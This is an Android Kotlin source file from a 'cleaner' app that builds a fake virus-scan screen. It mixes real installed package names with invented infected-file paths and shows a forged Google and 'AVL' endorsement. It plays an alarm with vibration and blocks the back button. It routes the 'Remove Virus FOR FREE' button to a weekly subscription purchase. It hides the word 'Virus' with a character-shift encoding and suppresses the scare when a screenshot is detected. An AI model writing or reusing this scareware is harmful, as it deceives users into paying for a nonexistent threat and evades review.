package com.id.supaclean.ui.sub

import android.app.Activity
import android.app.Service
import android.content.Context
import android.content.Intent
import android.media.AudioAttributes
import android.media.AudioManager
import android.media.SoundPool
import android.os.Vibrator
import android.util.Log
import android.view.animation.AnimationUtils
import android.widget.FrameLayout
import android.widget.Toast
import androidx.activity.compose.BackHandler
import androidx.annotation.FloatRange
import androidx.compose.animation.AnimatedVisibility
import androidx.compose.animation.animateColorAsState
import androidx.compose.animation.core.*
import androidx.compose.animation.fadeOut
import androidx.compose.animation.slideOutHorizontally
import androidx.compose.foundation.*
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.lazy.LazyColumn
import androidx.compose.foundation.lazy.items
import androidx.compose.foundation.shape.CircleShape
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.foundation.text.InlineTextContent
import androidx.compose.foundation.text.appendInlineContent
import androidx.compose.material.CircularProgressIndicator
import androidx.compose.material.Surface
import androidx.compose.material.Text
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.draw.clip
import androidx.compose.ui.geometry.CornerRadius
import androidx.compose.ui.geometry.Offset
import androidx.compose.ui.geometry.Size
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.platform.ComposeView
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.platform.LocalDensity
import androidx.compose.ui.platform.LocalLifecycleOwner
import androidx.compose.ui.res.painterResource
import androidx.compose.ui.text.Placeholder
import androidx.compose.ui.text.PlaceholderVerticalAlign
import androidx.compose.ui.text.buildAnnotatedString
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
import androidx.compose.ui.viewinterop.AndroidView
import androidx.core.view.children
import androidx.lifecycle.Lifecycle
import androidx.lifecycle.LifecycleEventObserver
import androidx.lifecycle.LifecycleOwner
import com.airbnb.lottie.compose.*
import com.id.supaclean.*
import com.id.supaclean.R
import com.id.supaclean.ktx.*
import com.google.firebase.ktx.Firebase
import com.google.firebase.remoteconfig.ktx.remoteConfig
import com.id.supaclean.MyApplication.Companion.appContext
import com.id.supaclean.dao.KeyDao
import com.id.supaclean.ui.MainActivity
import com.id.supaclean.utils.*
import com.id.supaclean.widget.SubSku
import com.id.supaclean.widget.UserCanceledPayException
import com.id.supaclean.widget.isSubscribe
import com.id.supaclean.widget.pay
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.flow.catch
import kotlinx.coroutines.flow.collectLatest
import kotlinx.coroutines.flow.first
import kotlinx.coroutines.flow.onStart
import kotlinx.coroutines.launch
import org.json.JSONObject
import java.util.*


private val DefaultLanguage = Language(
    "us", Language.Config(
        EncryptString("Scanning іѩѲѵѳ...", "іѩѲѵѳ"),
        "Warning!",
        EncryptString("іѩѲѵѳ Threats:", "іѩѲѵѳ"),
        "Power by AVL™",
        EncryptString("Remove іѩѲѵѳ FOR FREE", "іѩѲѵѳ"),
        "Removing",
        "Completed"
    )
)

private val LocalLanguage = staticCompositionLocalOf { DefaultLanguage }

@Composable
fun Alarmed() {
    Events.sendEvent("vr_scan_page")
    DataStore.encode(NoPermissionComeInOnce, true)

    val locale = Locale.getDefault()
    val language = rememberLanguage(
        locale.language.lowercase(),
        locale.toLanguageTag().lowercase(),
        locale.country.lowercase()
    )

    Box(
        modifier = Modifier
            .fillMaxSize()
            .background(Color.Black),
        contentAlignment = Alignment.Center,
        content = { Alarmed(language) }
    )

    //屏蔽返回按钮
    BackHandler {}
}

@Composable
private fun Alarmed(language: Language) =
    CompositionLocalProvider(LocalLanguage provides language) {
        Column(
            Modifier
                .padding(horizontal = 30.dp)
                .clip(RoundedCornerShape(10.dp))
                .background(Color(0xFFF2F2F2))
        ) {
            val coroutineScope = rememberCoroutineScope()

            val progressState = remember { ProgressState(0f, getAnimationSpec()) }
            val bodyHandler = remember { BodyHandler() }

            var scanState by remember { mutableStateOf(false) }
            var isStartRemoveAnimate by remember { mutableStateOf(false) }

            MagicConfig { scanState && !isStartRemoveAnimate }

            var showCompleteView by remember { mutableStateOf(false) }

            LaunchedEffect(Unit) {
                Events.sendEvent("v_scanning_page")
                if (progressState.animateState.value == ProgressState.AnimateState.Prepare) {
                    launch {
                        progressState.start()
                        scanState = true
                    }
                    launch { bodyHandler.start(ScanDuration) }
                }
            }

            val activity = LocalActivity.current
            if (showCompleteView) Completed(language) else {
                Header(progressState, language)
                Body(bodyHandler, language)
                Footer(
                    language,
                    isScanEnd = { scanState },
                    onStartCleanAnima = {
                        isStartRemoveAnimate = true
                        Events.sendEvent("v_removed")
                        coroutineScope.launch {
                            bodyHandler.remove()
                            delay(500)
                            showCompleteView = true
                            delay(3000)
                            activity.startActivity(Intent(activity, MainActivity::class.java))
                            activity.finish()
                        }
                    }
                )
            }
        }
    }

@Composable
private fun rememberLanguage(
    language: String,
    languageTag: String,
    languageCountry: String
): Language {

    var newLanguage by remember(language) {
        Events.sendEvent(
            "language_config", mapOf(
                "language" to language,
                "country" to languageCountry,
                "languageTag" to languageTag
            )
        )
        mutableStateOf(language)
    }

    //对台湾进行特殊判断
    if (language == "zh") {
        newLanguage =
            if (languageCountry == "tw" || languageTag.contains("zh-hant", true)) "tw" else "cn"
    }

    Events.sendEvent(
        "language_config_firebase", mapOf(
            "language" to newLanguage,
            "country" to languageCountry,
            "languageTag" to languageTag
        )
    )

    return try {
        val json = Firebase.remoteConfig.getString("language_$newLanguage")
            .ifEmpty { throw Exception("no find language") }
        val jo = JSONObject(json)
        val sv = jo.getJSONObject("sv").let {
            EncryptString(it.getString("content"), it.getString("encrypt"))
        }
        val w = jo.getString("w")
        val vt = jo.getJSONObject("vt").let {
            EncryptString(it.getString("content"), it.getString("encrypt"))
        }
        val powerByAvl = jo.getString("powerByAvl")
        val rvff = jo.getJSONObject("rvff").let {
            EncryptString(it.getString("content"), it.getString("encrypt"))
        }
        val r = jo.getString("r")
        val completed = jo.getString("completed")
        val languageConfig = Language.Config(sv, w, vt, powerByAvl, rvff, r, completed)

        Language(newLanguage, languageConfig)
    } catch (e: Throwable) {
        DefaultLanguage
    }
}

suspend fun isEntryAlarmed(): Boolean {
    if (isSubscribe().catch { emit(false) }.first()) return false
//    if (KeyDao.getCurrentPurchaseState()) return false
    if (ScreenshotContentResolver.isScreenshot) return false
    val hasFirst = DataStore.decodeBool(NoPermissionComeInOnce)
    if (!hasFirst) return true
    return hasWriteStoragePermission || hasReadStoragePermission
}

private const val NoPermissionComeInOnce = "NoPermissionComeInOnce"
private const val ScanDuration = 8000
private fun <T> getAnimationSpec() = tween<T>(durationMillis = ScanDuration, easing = LinearEasing)

private data class Language(val language: String, val config: Config) {
    data class Config(
        val sv: EncryptString,
        val w: String,
        val vt: EncryptString,
        val powerByAvl: String,
        val rvff: EncryptString,
        val r: String,
        val completed: String,
    )
}

private data class EncryptString(val content: String, val encrypt: String) {
    fun realContent(language: String): String = if (language.lowercase() == "us") {
        val decrypt = String(encrypt.map { it - 1024 }.toCharArray())
        content.replace(encrypt, decrypt)
    } else content
}

///////////////////////Header///////////////////////////

@Composable
private fun Header(state: ProgressState, language: Language) {
    val animationState by state.animateState

    val background by animateColorAsState(
        if (animationState == ProgressState.AnimateState.Prepare) ScanColor else ScanEndColor,
        getAnimationSpec()
    )

    Row(
        modifier = Modifier
            .background(background)
            .padding(16.dp),
        verticalAlignment = Alignment.CenterVertically
    ) {
        if (animationState == ProgressState.AnimateState.Complete) {
            Image(
                painter = painterResource(id = R.drawable.ic_warn_scan),
                contentDescription = null,
                modifier = Modifier.size(56.dp)
            )
        } else {
            val composition by rememberLottieComposition(
                LottieCompositionSpec.Asset("scan/data.json"), "scan/images"
            )
            val progress by animateLottieCompositionAsState(
                composition,
                iterations = LottieConstants.IterateForever
            )
            LottieAnimation(
                modifier = Modifier.size(56.dp),
                composition = composition,
                progress = progress
            )
        }

        Spacer(modifier = Modifier.width(16.dp))

        Column {
            val language = LocalLanguage.current
            val text: String
            val color: Color

            val sv = try {
                language.config.sv.realContent(language.language)
            } catch (e: Throwable) {
                DefaultLanguage.config.sv.realContent(DefaultLanguage.language)
            }
            Events.sendEvent("sv_$sv")
            val w = try {
                language.config.w
            } catch (e: Throwable) {
                DefaultLanguage.config.w
            }
            Events.sendEvent("w_$w")
            if (animationState == ProgressState.AnimateState.Start) {
                text = sv
                color = Color.White
            } else {
                text = w
                color = Color.Yellow
            }


            Text(text = text, color = color, fontSize = 16.sp, fontWeight = FontWeight.Bold)
            Spacer(modifier = Modifier.height(8.dp))
            ProgressView(progressState = state)
        }
    }
}

private val ScanColor = Color(0xFF2E425F)
private val ScanEndColor = Color(0xFFD60000)

@Composable
private fun ProgressView(
    modifier: Modifier = Modifier,
    progressState: ProgressState = remember {
        ProgressState(0f, spring())
    },
    background: Color = Color(0xFFC4C4C4),
    foreground: Color = Color(0xFF11A505),
) {
    val itemWidth = with(LocalDensity.current) { ItemWidth.toPx() }
    val heightOffset = with(LocalDensity.current) { 2.dp.toPx() }
    val itemCornet = with(LocalDensity.current) { ItemCorner.toPx() }

    Canvas(
        Modifier
            .fillMaxWidth()
            .height(ViewHeight)
            .clip(CircleShape)
            .background(background)
            .padding(horizontal = ViewHeight / 2f)
            .then(modifier)
    ) {

        val progress by progressState.currentProgress

        val itemSize = Size(itemWidth, size.height - heightOffset)

        val count = (size.width / (itemWidth + Space)).toInt()
        val actualSpace = (size.width - itemWidth * count) / (count - 1)

        // 可绘制的宽度
        val drawWidth = size.width * progress

        var leftOffset = 0f

        for (i in 0 until count) {
            var realItemSize = itemSize
            var isBreak = false
            if (leftOffset + realItemSize.width >= drawWidth) {
                realItemSize = realItemSize.copy(width = drawWidth - leftOffset)
                isBreak = true
            }
            drawRoundRect(
                foreground,
                Offset(leftOffset, heightOffset / 2),
                realItemSize,
                CornerRadius(itemCornet, itemCornet)
            )
            leftOffset += realItemSize.width + actualSpace
            if (isBreak) break
        }
    }
}

private class ProgressState(
    @FloatRange(from = 0.0, to = 1.0) initialValue: Float,
    private val animationSpec: AnimationSpec<Float>,
) {
    private val _currentProgress = mutableStateOf(initialValue)
    val currentProgress: State<Float> get() = _currentProgress

    private val _animateState = mutableStateOf(AnimateState.Prepare)
    val animateState: State<AnimateState> get() = _animateState

    suspend fun start() {
        _animateState.value = AnimateState.Start
        animate(_currentProgress.value, 1f, animationSpec = animationSpec) { value, _ ->
            _currentProgress.value = value
        }
        _animateState.value = AnimateState.Complete
    }

    enum class AnimateState {
        Prepare, Start, Complete
    }
}

private val ItemWidth = 14.dp
private val ViewHeight = 24.dp
private val ItemCorner = 4.dp
private const val Space = 2

////////////////////////////Body//////////////////////////////////

@Composable
private fun Body(bodyHandler: BodyHandler, language: Language) {
    Column(
        Modifier
            .fillMaxWidth()
            .padding(16.dp)
    ) {
        Row(verticalAlignment = Alignment.CenterVertically) {
            val language = LocalLanguage.current
            val vt = try {
                language.config.vt.realContent(language.language)
            } catch (e: Throwable) {
                DefaultLanguage.config.vt.realContent(DefaultLanguage.language)
            }
            Events.sendEvent("vt_$vt")
            Text(text = vt, fontSize = 12.sp, color = Color.Black)
            Spacer(modifier = Modifier.width(8.dp))
            Text(
                text = bodyHandler.scanResultInfo.filter { it.second && !it.third }.size.toString(),
                fontSize = 12.sp,
                color = Color.Red,
                fontWeight = FontWeight.Bold
            )
        }
        Spacer(modifier = Modifier.height(16.dp))
        LazyColumn(
            Modifier
                .fillMaxWidth()
                .height(160.dp)
                .border(1.dp, Color(0xFFBDBDBD), RoundedCornerShape(4.dp))
        ) {
            items(bodyHandler.scanResultInfo) {
                if (!it.first.isNullOrEmpty()) {
                    ScanInfoItem(it)
                }
            }
        }
    }
}

private class BodyHandler {
    /**
     * Triple三个泛型意义
     * 1、包名
     * 2、是否为焦点包名
     * 3、是否移除焦点包名
     */
    val scanResultInfo = mutableStateListOf<Triple<String?, Boolean, Boolean>>()

    suspend fun start(durationMillis: Int) {
        val allApps = appContext.packageManager.getInstalledApplications(0)
        val items = mutableListOf<Triple<String?, Boolean, Boolean>>()
        val count = if (allApps.size > 30) 30 else allApps.size
        for (i in 0 until count) {
            items.add(Triple(first = allApps[i].packageName, second = false, third = false))
        }
        AlarmedFiles.forEach {
            items.add((count / 2..count).random(), Triple(first = it, second = true, third = false))
        }
        val itemDuration = durationMillis / items.size
        for (item in items) {
            scanResultInfo.add(0, item)
            delay(itemDuration.toLong())
        }
    }

    suspend fun remove() {
        for (item in AlarmedFiles) {
            delay(2000)
            val index = scanResultInfo.indexOfFirst { it.first == item }
            if (index != -1) {
                scanResultInfo[index] = scanResultInfo[index].copy(third = true)
            }
        }
    }
}


@Composable
private fun ScanInfoItem(data: Triple<String?, Boolean, Boolean>) {
    AnimatedVisibility(
        visible = !data.third,
        exit = slideOutHorizontally(
            targetOffsetX = { fullWidth -> fullWidth / 2 },
            animationSpec = tween(durationMillis = 1000)
        ) + fadeOut(
            animationSpec = tween(durationMillis = 1000)
        )
    ) {
        val annotatedString = buildAnnotatedString {
            val string = data.first
            if (string.isNullOrEmpty()) append(" ") else append(string)
            if (data.second) appendInlineContent("warn")
        }
        Text(
            text = annotatedString,
            fontSize = 14.sp,
            color = if (data.second) Color(0xFFF7243E) else Color(0xFF2E2E2E),
            modifier = Modifier.padding(horizontal = 16.dp),
            inlineContent = mapOf(
                "warn" to InlineTextContent(
                    Placeholder(
                        14.sp,
                        14.sp,
                        PlaceholderVerticalAlign.Center
                    )
                ) {
                    Image(painterResource(id = R.drawable.ic_warn), contentDescription = null)
                }
            )
        )
    }
}

private val AlarmedFiles = listOf(
    "/Storage/Internal....../Fandr.2[rog.gen]",
    "/Storage/Internal....../2o4V.S[fra.crt]",
    "/Storage/Internal....../9virusMw/score:8",
)

////////////////////////////Footer//////////////////////////////////

@Composable
private fun Footer(language: Language, isScanEnd: () -> Boolean, onStartCleanAnima: () -> Unit) {
    if (isScanEnd()) {
        Box(
            modifier = Modifier
                .fillMaxWidth()
                .height(72.dp)
                .background(Color(0xFFFDFD8E)),
            contentAlignment = Alignment.Center,
            content = {
                AndroidView(factory = {
                    RemoveButton(it).apply {
                        this.language = language
                        this.onStartCleanAnima = onStartCleanAnima
                    }
                })
            }
        )
    } else {
        Box(
            modifier = Modifier
                .padding(vertical = 16.dp)
                .fillMaxWidth(),
            contentAlignment = Alignment.Center
        ) {
            Column(horizontalAlignment = Alignment.CenterHorizontally) {
                Image(
                    painter = painterResource(id = R.drawable.ic_google),
                    contentDescription = null,
                    modifier = Modifier.size(140.dp, 50.dp)
                )
                Spacer(modifier = Modifier.height(6.dp))
                val language = LocalLanguage.current
                val powerByAvl = try {
                    language.config.powerByAvl
                } catch (e: Throwable) {
                    DefaultLanguage.config.powerByAvl
                }
                Text(text = powerByAvl, fontSize = 12.sp, color = Color(0x55000000))
            }
        }
    }
}

private class RemoveButton(context: Context) : FrameLayout(context) {

    private var remove by mutableStateOf(false)

    lateinit var language: Language

    lateinit var onStartCleanAnima: () -> Unit

    init {
        val composeView = ComposeView(context).apply {
            setContent {
                if (remove) AnimateButton() else SubButton()
            }
        }
        AnimationUtils.loadAnimation(context, R.anim.scale_fast).apply {
            composeView.startAnimation(this)
        }
        addView(composeView)
    }

    @Composable
    private fun SubButton() {
        val language = LocalLanguage.current
        val activity = LocalActivity.current
        val coroutineScope = rememberCoroutineScope()
        Box(
            modifier = Modifier
                .padding(horizontal = 16.dp)
                .fillMaxWidth()
                .height(40.dp)
                .clip(RoundedCornerShape(10.dp))
                .background(Color(0xFF0FA505))
                .clickable { activity.pay(coroutineScope) },
            contentAlignment = Alignment.Center
        ) {

            val rvff = try {
                language.config.rvff.realContent(language.language)
            } catch (e: Throwable) {
                DefaultLanguage.config.rvff.realContent(DefaultLanguage.language)
            }

            Text(text = rvff, color = Color.White, fontSize = 16.sp)
        }
    }

    @Composable
    private fun AnimateButton() {
        val language = LocalLanguage.current
        Row(
            modifier = Modifier
                .padding(horizontal = 16.dp)
                .fillMaxWidth()
                .height(40.dp)
                .clip(RoundedCornerShape(10.dp))
                .background(Color(0xFF84C680)),
            horizontalArrangement = Arrangement.Center,
            verticalAlignment = Alignment.CenterVertically
        ) {
            CircularProgressIndicator(
                modifier = Modifier.size(24.dp),
                color = Color.White,
                strokeWidth = 2.dp
            )
            Spacer(modifier = Modifier.width(8.dp))
            val r = try {
                language.config.r
            } catch (e: Throwable) {
                DefaultLanguage.config.r
            }
            Text(text = r, color = Color.White, fontSize = 16.sp)
        }
    }

    private fun Activity.pay(coroutineScope: CoroutineScope) {
        Events.sendEvent("click_remove")
        val paywall = Firebase.remoteConfig.getString("paywall")
        val subSku = SubSku.SkuWeekly
        Events.sendEvent("A/B Test", mapOf("paywall" to paywall, "sku" to subSku.skuId))

        coroutineScope.launch {
            pay(subSku).onStart {
                Events.sendEvent("v_sub_start_${subSku.skuId}", "reason" to subSku.skuId)
            }.catch {
                Events.sendEvent("v_sub_fail_${subSku.skuId}", "reason" to it.message)
                if (it !is UserCanceledPayException) {
                    Toast.makeText(this@pay, "Network Error", Toast.LENGTH_SHORT).show()
                }
            }.collectLatest {
//                KeyDao.refreshPurchaseState()
                Events.sendEvent("v_sub_seccessful_${subSku.skuId}")
                children.forEach { it.clearAnimation() }
                remove = true
                onStartCleanAnima()
            }
        }
    }
}


@Composable
private fun MagicConfig(onStartMedia: () -> Boolean) {
    val lifecycleOwner = LocalLifecycleOwner.current
    val magicConfigHandler = remember { MagicConfigHandler() }

    if (onStartMedia()) {
        lifecycleOwner.lifecycle.addObserver(magicConfigHandler.mediaObserver)
    } else {
        magicConfigHandler.closeMediaMagic(lifecycleOwner)
        lifecycleOwner.lifecycle.removeObserver(magicConfigHandler.mediaObserver)
    }

    //添加无权限策略
    val permissionObserver = if (!hasReadStoragePermission && !hasWriteStoragePermission) {
        val activity = LocalActivity.current
        remember {
            var isClose = false
            LifecycleEventObserver { _, event ->
                if (event == Lifecycle.Event.ON_START) {
                    activity.startActivity(Intent(activity, MainActivity::class.java))
                    activity.finish()
                } else if (event == Lifecycle.Event.ON_STOP) {
                    isClose = true
                }
            }.also { lifecycleOwner.lifecycle.addObserver(it) }
        }
    } else null

    DisposableEffect(Unit) {
        //添加截图策略
        lifecycleOwner.lifecycle.addObserver(magicConfigHandler.screenshotObserver)
        onDispose {
            magicConfigHandler.destroy(lifecycleOwner)
            permissionObserver?.let { lifecycleOwner.lifecycle.removeObserver(it) }
            lifecycleOwner.lifecycle.removeObserver(magicConfigHandler.screenshotObserver)
            lifecycleOwner.lifecycle.removeObserver(magicConfigHandler.mediaObserver)
        }
    }
}

private class MagicConfigHandler {

    private val screenshotContentResolver by lazy { ScreenshotContentResolver() }

    val screenshotObserver by lazy {
        LifecycleEventObserver { _, event ->
            if (event == Lifecycle.Event.ON_START) {
                screenshotContentResolver.register()
            } else if (event == Lifecycle.Event.ON_STOP) {
                screenshotContentResolver.unregister()
            }
        }
    }

    private val vibrator by lazy { appContext.getSystemService(Service.VIBRATOR_SERVICE) as Vibrator }

    private val soundPool by lazy {
        SoundPool.Builder().apply {
            setMaxStreams(1)
            val attrBuilder = AudioAttributes.Builder()
            attrBuilder.setLegacyStreamType(AudioManager.STREAM_MUSIC)
            setAudioAttributes(attrBuilder.build())
        }.build().apply {
            val voiceId = load(appContext, R.raw.alarm, 1)
            setOnLoadCompleteListener { soundPool, _, status ->
                if (status == 0) {
                    soundPool.play(voiceId, 1f, 1f, 1, -1, 1f)
                }
            }
        }
    }

    val mediaObserver by lazy {
        LifecycleEventObserver { _, event ->
            when (event) {
                Lifecycle.Event.ON_START -> {
                    vibrator.vibrate(longArrayOf(0, 500, 2000, 500), 0)
                    soundPool.autoResume()
                }
                Lifecycle.Event.ON_STOP -> {
                    vibrator.cancel()
                    soundPool.autoPause()
                }
                Lifecycle.Event.ON_DESTROY -> {
                    vibrator.cancel()
                    soundPool.release()
                }
                else -> {}
            }
        }
    }
}

private fun MagicConfigHandler.closeScreenshotMagic(lifecycleOwner: LifecycleOwner) {
    closeMagic(lifecycleOwner, screenshotObserver)
}

private fun MagicConfigHandler.closeMediaMagic(lifecycleOwner: LifecycleOwner) {
    closeMagic(lifecycleOwner, mediaObserver)
}

private fun closeMagic(lifecycleOwner: LifecycleOwner, observer: LifecycleEventObserver) {
    observer.onStateChanged(lifecycleOwner, Lifecycle.Event.ON_DESTROY)
}

private fun MagicConfigHandler.destroy(lifecycleOwner: LifecycleOwner) {
    closeMediaMagic(lifecycleOwner)
    closeScreenshotMagic(lifecycleOwner)
}

@Composable
private fun Completed(language: Language) = Surface(
    color = Color.White,
    shape = RoundedCornerShape(10.dp),
) {
    Column(
        modifier = Modifier.padding(48.dp, 24.dp),
        horizontalAlignment = Alignment.CenterHorizontally
    ) {
        Image(
            painter = painterResource(id = R.drawable.ic_alarmed_check),
            contentDescription = null,
            modifier = Modifier.size(48.dp)
        )
        Spacer(modifier = Modifier.height(16.dp))
        val completed = try {
            language.config.completed
        } catch (e: Throwable) {
            DefaultLanguage.config.completed
        }
        Text(
            text = completed,
            fontSize = 18.sp,
            fontWeight = FontWeight.Bold,
            color = Color.Black
        )
    }
}